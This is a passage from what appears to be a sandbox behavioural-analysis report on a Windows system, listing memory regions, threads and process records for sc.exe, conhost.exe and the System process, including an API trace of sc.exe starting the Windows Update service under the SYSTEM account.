	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2779
	        start_va = 0x51eb930000
	          end_va = 0x51eb93ffff
	     entry_point = 0x51eb930000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2780
	        start_va = 0x51eb940000
	          end_va = 0x51eb94ffff
	     entry_point = 0x51eb940000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2781
	        start_va = 0x51eb980000
	          end_va = 0x51eb986fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb980000"
	        filename = ""

Region:
	              id = 2782
	        start_va = 0x51ebc00000
	          end_va = 0x51ebcfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ebc00000"
	        filename = ""

Region:
	              id = 2783
	        start_va = 0x51ebe00000
	          end_va = 0x51ebefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ebe00000"
	        filename = ""

Region:
	              id = 2784
	        start_va = 0x51ebf00000
	          end_va = 0x51ebffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ebf00000"
	        filename = ""

Region:
	              id = 2785
	        start_va = 0x7ff7b3abc000
	          end_va = 0x7ff7b3abdfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3abc000"
	        filename = ""

Region:
	              id = 2786
	        start_va = 0x7ffbeda30000
	          end_va = 0x7ffbeda57fff
	     entry_point = 0x7ffbeda30000
	     region_type = mapped_file
	            name = "dssenh.dll"
	        filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll")


Thread:
	id = 47
	os_tid = 0xc60


Thread:
	id = 48
	os_tid = 0xc80


Thread:
	id = 49
	os_tid = 0xc98


Thread:
	id = 50
	os_tid = 0xc68


Thread:
	id = 51
	os_tid = 0xfb4


Thread:
	id = 52
	os_tid = 0xf68


Thread:
	id = 53
	os_tid = 0xea4


Thread:
	id = 54
	os_tid = 0x544


Thread:
	id = 55
	os_tid = 0xbf8


Thread:
	id = 56
	os_tid = 0x9ac


Thread:
	id = 57
	os_tid = 0xa38


Thread:
	id = 58
	os_tid = 0x798


Thread:
	id = 59
	os_tid = 0x878


Thread:
	id = 60
	os_tid = 0x870


Thread:
	id = 61
	os_tid = 0x784


Thread:
	id = 62
	os_tid = 0x780


Thread:
	id = 63
	os_tid = 0x754


Thread:
	id = 64
	os_tid = 0x750


Thread:
	id = 65
	os_tid = 0x740


Thread:
	id = 66
	os_tid = 0x73c


Thread:
	id = 67
	os_tid = 0x738


Thread:
	id = 68
	os_tid = 0x734


Thread:
	id = 69
	os_tid = 0x688


Thread:
	id = 70
	os_tid = 0x730


Thread:
	id = 71
	os_tid = 0x724


Thread:
	id = 72
	os_tid = 0x71c


Thread:
	id = 73
	os_tid = 0x70c


Thread:
	id = 74
	os_tid = 0x708


Thread:
	id = 75
	os_tid = 0x6f4


Thread:
	id = 76
	os_tid = 0x6ec


Thread:
	id = 77
	os_tid = 0x6d4


Thread:
	id = 78
	os_tid = 0x6b4


Thread:
	id = 79
	os_tid = 0x694


Thread:
	id = 80
	os_tid = 0x680


Thread:
	id = 81
	os_tid = 0x664


Thread:
	id = 82
	os_tid = 0x650


Thread:
	id = 83
	os_tid = 0x64c


Thread:
	id = 84
	os_tid = 0x630


Thread:
	id = 85
	os_tid = 0x628


Thread:
	id = 86
	os_tid = 0x5f8


Thread:
	id = 87
	os_tid = 0x5e4


Thread:
	id = 88
	os_tid = 0x5cc


Thread:
	id = 89
	os_tid = 0x5c4


Thread:
	id = 90
	os_tid = 0x574


Thread:
	id = 91
	os_tid = 0x558


Thread:
	id = 92
	os_tid = 0x530


Thread:
	id = 93
	os_tid = 0x4dc


Thread:
	id = 94
	os_tid = 0x414


Thread:
	id = 95
	os_tid = 0x118


Thread:
	id = 96
	os_tid = 0xfc


Thread:
	id = 97
	os_tid = 0x140


Thread:
	id = 98
	os_tid = 0x1a0


Thread:
	id = 99
	os_tid = 0x14c


Thread:
	id = 100
	os_tid = 0x154


Thread:
	id = 101
	os_tid = 0x130


Thread:
	id = 102
	os_tid = 0x160


Thread:
	id = 103
	os_tid = 0xf8


Thread:
	id = 104
	os_tid = 0x3dc


Thread:
	id = 105
	os_tid = 0x3d8


Thread:
	id = 106
	os_tid = 0x3d0


Thread:
	id = 107
	os_tid = 0x3cc


Thread:
	id = 108
	os_tid = 0x3c8


Thread:
	id = 109
	os_tid = 0x37c


Thread:
	id = 110
	os_tid = 0xd0c


Thread:
	id = 111
	os_tid = 0xcf0


Thread:
	id = 438
	os_tid = 0x758


Thread:
	id = 439
	os_tid = 0x774


Thread:
	id = 441
	os_tid = 0xb00


Thread:
	id = 442
	os_tid = 0x744


Thread:
	id = 443
	os_tid = 0x6c8


Thread:
	id = 445
	os_tid = 0x8bc


Process:
	id = "5"
	image_name = "sc.exe"
	filename = "c:\\windows\\system32\\sc.exe"
	page_root = "0x62fcf000"
	os_pid = "0xcf8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x378"
	cmd_line = "C:\\Windows\\system32\\sc.exe start wuauserv"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e0e3" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1097
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1098
	        start_va = 0x4ab9710000
	          end_va = 0x4ab972ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab9710000"
	        filename = ""

Region:
	              id = 1099
	        start_va = 0x4ab9730000
	          end_va = 0x4ab9743fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004ab9730000"
	        filename = ""

Region:
	              id = 1100
	        start_va = 0x4ab9750000
	          end_va = 0x4ab97cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab9750000"
	        filename = ""

Region:
	              id = 1101
	        start_va = 0x4ab97d0000
	          end_va = 0x4ab97d3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004ab97d0000"
	        filename = ""

Region:
	              id = 1102
	        start_va = 0x4ab97e0000
	          end_va = 0x4ab97e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004ab97e0000"
	        filename = ""

Region:
	              id = 1103
	        start_va = 0x4ab97f0000
	          end_va = 0x4ab97f1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab97f0000"
	        filename = ""

Region:
	              id = 1104
	        start_va = 0x7df5ffd90000
	          end_va = 0x7ff5ffd8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffd90000"
	        filename = ""

Region:
	              id = 1105
	        start_va = 0x7ff7528f0000
	          end_va = 0x7ff752912fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7528f0000"
	        filename = ""

Region:
	              id = 1106
	        start_va = 0x7ff75291c000
	          end_va = 0x7ff75291dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff75291c000"
	        filename = ""

Region:
	              id = 1107
	        start_va = 0x7ff75291e000
	          end_va = 0x7ff75291efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff75291e000"
	        filename = ""

Region:
	              id = 1108
	        start_va = 0x7ff752c80000
	          end_va = 0x7ff752c95fff
	     entry_point = 0x7ff752c80000
	     region_type = mapped_file
	            name = "sc.exe"
	        filename = "\\Windows\\System32\\sc.exe" (normalized: "c:\\windows\\system32\\sc.exe")

Region:
	              id = 1109
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1110
	        start_va = 0x4ab99b0000
	          end_va = 0x4ab9aaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab99b0000"
	        filename = ""

Region:
	              id = 1111
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1112
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1149
	        start_va = 0x4ab9710000
	          end_va = 0x4ab971ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004ab9710000"
	        filename = ""

Region:
	              id = 1150
	        start_va = 0x4ab9720000
	          end_va = 0x4ab9726fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab9720000"
	        filename = ""

Region:
	              id = 1151
	        start_va = 0x4ab9800000
	          end_va = 0x4ab98bdfff
	     entry_point = 0x4ab9800000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1152
	        start_va = 0x4ab98c0000
	          end_va = 0x4ab993ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab98c0000"
	        filename = ""

Region:
	              id = 1153
	        start_va = 0x4ab9950000
	          end_va = 0x4ab995ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab9950000"
	        filename = ""

Region:
	              id = 1154
	        start_va = 0x7ff7527f0000
	          end_va = 0x7ff7528effff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7527f0000"
	        filename = ""

Region:
	              id = 1155
	        start_va = 0x7ff75291a000
	          end_va = 0x7ff75291bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff75291a000"
	        filename = ""

Region:
	              id = 1156
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1157
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1158
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1159
	        start_va = 0x4ab9940000
	          end_va = 0x4ab9946fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004ab9940000"
	        filename = ""

Region:
	              id = 1209
	        start_va = 0x4ab9960000
	          end_va = 0x4ab9971fff
	     entry_point = 0x4ab9960000
	     region_type = mapped_file
	            name = "sc.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\sc.exe.mui")


Thread:
	id = 113
	os_tid = 0xd08

	[0111.708] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff752c80000
	[0111.708] __set_app_type (_Type=0x1) 
	[0111.708] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff752c81f00) returned 0x0
	[0111.708] __wgetmainargs (in: _Argc=0x7ff752c91028, _Argv=0x7ff752c91030, _Env=0x7ff752c91038, _DoWildCard=0, _StartInfo=0x7ff752c91044 | out: _Argc=0x7ff752c91028, _Argv=0x7ff752c91030, _Env=0x7ff752c91038) returned 0
	[0111.708] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0111.709] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0111.709] GetStdHandle (nStdHandle=0xfffffff5) returned 0x24
	[0111.710] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23
	[0111.710] _wcsicmp (_String1="start", _String2="query") returned 2
	[0111.710] _wcsicmp (_String1="start", _String2="queryex") returned 2
	[0111.710] _wcsicmp (_String1="start", _String2="start") returned 0
	[0111.710] ResolveDelayLoadedAPI () returned 0x7ffc02114740
	[0111.711] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4ab99b8670
	[0111.715] OpenServiceW (hSCManager=0x4ab99b8670, lpServiceName="wuauserv", dwDesiredAccess=0x14) returned 0x4ab99b8580
	[0111.715] StartServiceW (hService=0x4ab99b8580, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1
	[0111.733] ResolveDelayLoadedAPI () returned 0x7ffc02113f00
	[0111.734] QueryServiceStatusEx (in: hService=0x4ab99b8580, InfoLevel=0x0, lpBuffer=0x4ab97cf6b8, cbBufSize=0x24, pcbBytesNeeded=0x4ab97cf694 | out: lpBuffer=0x4ab97cf6b8, pcbBytesNeeded=0x4ab97cf694) returned 1
	[0111.734] _ultow (in: _Dest=0x20, _Radix=-1182993112 | out: _Dest=0x20) returned="20"
	[0111.734] _ultow (in: _Dest=0x2, _Radix=-1182992992 | out: _Dest=0x2) returned="2"
	[0111.734] _ultow (in: _Dest=0x0, _Radix=-1182993064 | out: _Dest=0x0) returned="0"
	[0111.734] _ultow (in: _Dest=0x0, _Radix=-1182993184 | out: _Dest=0x0) returned="0"
	[0111.734] _ultow (in: _Dest=0x0, _Radix=-1182993016 | out: _Dest=0x0) returned="0"
	[0111.734] _ultow (in: _Dest=0x0, _Radix=-1182993160 | out: _Dest=0x0) returned="0"
	[0111.734] _ultow (in: _Dest=0x0, _Radix=-1182993136 | out: _Dest=0x0) returned="0"
	[0111.734] _ultow (in: _Dest=0x7d0, _Radix=-1182993088 | out: _Dest=0x7d0) returned="7d0"
	[0111.734] _ultow (in: _Dest=0x378, _Radix=-1182993040 | out: _Dest=0x378) returned="888"
	[0111.734] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x4ab97cf438, nSize=0x2, Arguments=0x4ab97cf450 | out: lpBuffer="퍐릛J") returned 0x1a9
	[0111.751] GetFileType (hFile=0x24) returned 0x2
	[0111.751] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x4ab97cf440 | out: lpMode=0x4ab97cf440) returned 1
	[0112.506] WriteConsoleW (in: hConsoleOutput=0x24, lpBuffer=0x4ab99bd350*, nNumberOfCharsToWrite=0x1a9, lpNumberOfCharsWritten=0x4ab97cf430, lpReserved=0x0 | out: lpBuffer=0x4ab99bd350*, lpNumberOfCharsWritten=0x4ab97cf430*=0x1a9) returned 1
	[0113.500] LocalFree (hMem=0x4ab99bd350) returned 0x0
	[0113.501] LocalFree (hMem=0x0) returned 0x0
	[0113.501] CloseServiceHandle (hSCObject=0x4ab99b8580) returned 1
	[0113.501] CloseServiceHandle (hSCObject=0x4ab99b8670) returned 1
	[0113.501] LocalFree (hMem=0x0) returned 0x0
	[0113.501] exit (_Code=0) 

Thread:
	id = 444
	os_tid = 0x4cc


Process:
	id = "6"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xc89d000"
	os_pid = "0xbd4"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xcf8"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e0e3" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1113
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1114
	        start_va = 0xea68810000
	          end_va = 0xea6882ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68810000"
	        filename = ""

Region:
	              id = 1115
	        start_va = 0xea68830000
	          end_va = 0xea68843fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ea68830000"
	        filename = ""

Region:
	              id = 1116
	        start_va = 0xea68850000
	          end_va = 0xea6888ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68850000"
	        filename = ""

Region:
	              id = 1117
	        start_va = 0x7df5ffd40000
	          end_va = 0x7ff5ffd3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffd40000"
	        filename = ""

Region:
	              id = 1118
	        start_va = 0x7ff6c4520000
	          end_va = 0x7ff6c4542fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c4520000"
	        filename = ""

Region:
	              id = 1119
	        start_va = 0x7ff6c4548000
	          end_va = 0x7ff6c4548fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c4548000"
	        filename = ""

Region:
	              id = 1120
	        start_va = 0x7ff6c454e000
	          end_va = 0x7ff6c454ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c454e000"
	        filename = ""

Region:
	              id = 1121
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 1122
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1123
	        start_va = 0xea68a80000
	          end_va = 0xea68b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68a80000"
	        filename = ""

Region:
	              id = 1124
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1125
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1126
	        start_va = 0xea68810000
	          end_va = 0xea6881ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ea68810000"
	        filename = ""

Region:
	              id = 1127
	        start_va = 0xea68820000
	          end_va = 0xea68826fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68820000"
	        filename = ""

Region:
	              id = 1128
	        start_va = 0xea68890000
	          end_va = 0xea6894dfff
	     entry_point = 0xea68890000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1129
	        start_va = 0xea68950000
	          end_va = 0xea6898ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68950000"
	        filename = ""

Region:
	              id = 1130
	        start_va = 0xea68990000
	          end_va = 0xea68990fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ea68990000"
	        filename = ""

Region:
	              id = 1131
	        start_va = 0xea689a0000
	          end_va = 0xea689a6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea689a0000"
	        filename = ""

Region:
	              id = 1132
	        start_va = 0xea689b0000
	          end_va = 0xea68a6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ea689b0000"
	        filename = ""

Region:
	              id = 1133
	        start_va = 0xea68a70000
	          end_va = 0xea68a7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68a70000"
	        filename = ""

Region:
	              id = 1134
	        start_va = 0xea68b80000
	          end_va = 0xea68d07fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ea68b80000"
	        filename = ""

Region:
	              id = 1135
	        start_va = 0xea68d10000
	          end_va = 0xea68e90fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ea68d10000"
	        filename = ""

Region:
	              id = 1136
	        start_va = 0xea68ea0000
	          end_va = 0xea68ea0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68ea0000"
	        filename = ""

Region:
	              id = 1137
	        start_va = 0xea68eb0000
	          end_va = 0xea68eb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ea68eb0000"
	        filename = ""

Region:
	              id = 1138
	        start_va = 0x7ff6c4420000
	          end_va = 0x7ff6c451ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c4420000"
	        filename = ""

Region:
	              id = 1139
	        start_va = 0x7ff6c454c000
	          end_va = 0x7ff6c454dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c454c000"
	        filename = ""

Region:
	              id = 1140
	        start_va = 0x7ffbf6a10000
	          end_va = 0x7ffbf6a6ffff
	     entry_point = 0x7ffbf6a10000
	     region_type = mapped_file
	            name = "conhostv1.dll"
	        filename = "\\Windows\\System32\\ConhostV1.dll" (normalized: "c:\\windows\\system32\\conhostv1.dll")

Region:
	              id = 1141
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1142
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1143
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1144
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1145
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1146
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1147
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1148
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")


Thread:
	id = 114
	os_tid = 0xae0


Thread:
	id = 115
	os_tid = 0xb64


Thread:
	id = 116
	os_tid = 0x244


Thread:
	id = 117
	os_tid = 0x310


Process:
	id = "7"
	image_name = "System"
	filename = ""
	page_root = "0x1aa000"
	os_pid = "0x4"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "created_daemon"
	parent_id = "5"
	os_parent_pid = "0xcf8"
	cmd_line = ""
	cur_dir = ""
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 2011
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 2012
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2013
	        start_va = 0xc500000000
	          end_va = 0xc500000fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000c500000000"
	        filename = ""

Region:
	              id = 2014
	        start_va = 0xc500010000
	          end_va = 0xc500010fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000c500010000"
	        filename = ""

Region:
	              id = 2015
	        start_va = 0xc500020000
	          end_va = 0xc500020fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000c500020000"
